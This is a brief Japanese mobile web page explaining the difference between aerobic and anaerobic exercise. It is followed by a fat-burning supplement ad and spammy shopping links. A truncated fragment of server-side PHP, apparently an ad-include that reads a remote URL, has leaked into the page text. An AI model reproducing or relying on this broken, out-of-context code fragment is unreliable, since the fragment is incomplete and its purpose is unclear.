■■■■■■■■■■
有酸素運動と無酸素運動とは?
■■■■■■■■■■


一般的には、「身体にある程度以上の負荷をかけながら、ある程度長い間継続して行う運動」はすべて有酸素運動とみなす事ができる。例えば長距離走は有酸素運動であるが、短距離走は無酸素運動である。 有酸素運動では、体内の糖質や脂肪が酸素とともに消費される。 これに対して、酸素を消費しない方法で筋収縮のエネルギーを発生させる運動を無酸素運動という。

戻る



脂肪燃焼サプリの通信販売『通販缶詰』
通販缶詰-『送料無料』【話題商品の通販携帯サイト】

$mai2i_v) { $mai2i_url .= '&' . $mai2i_p . '=' . urlencode($mai2i_v); } } @readfile($mai2i_url); unset($mai2i, $mai2i_url); ?>
おすすめ
Yahoo!病院・診療所検索/ コアリズムダイエット/ ゴヤールのバックをチェック/ 訳あり商品激安通販/ 装身具/ トレンド検索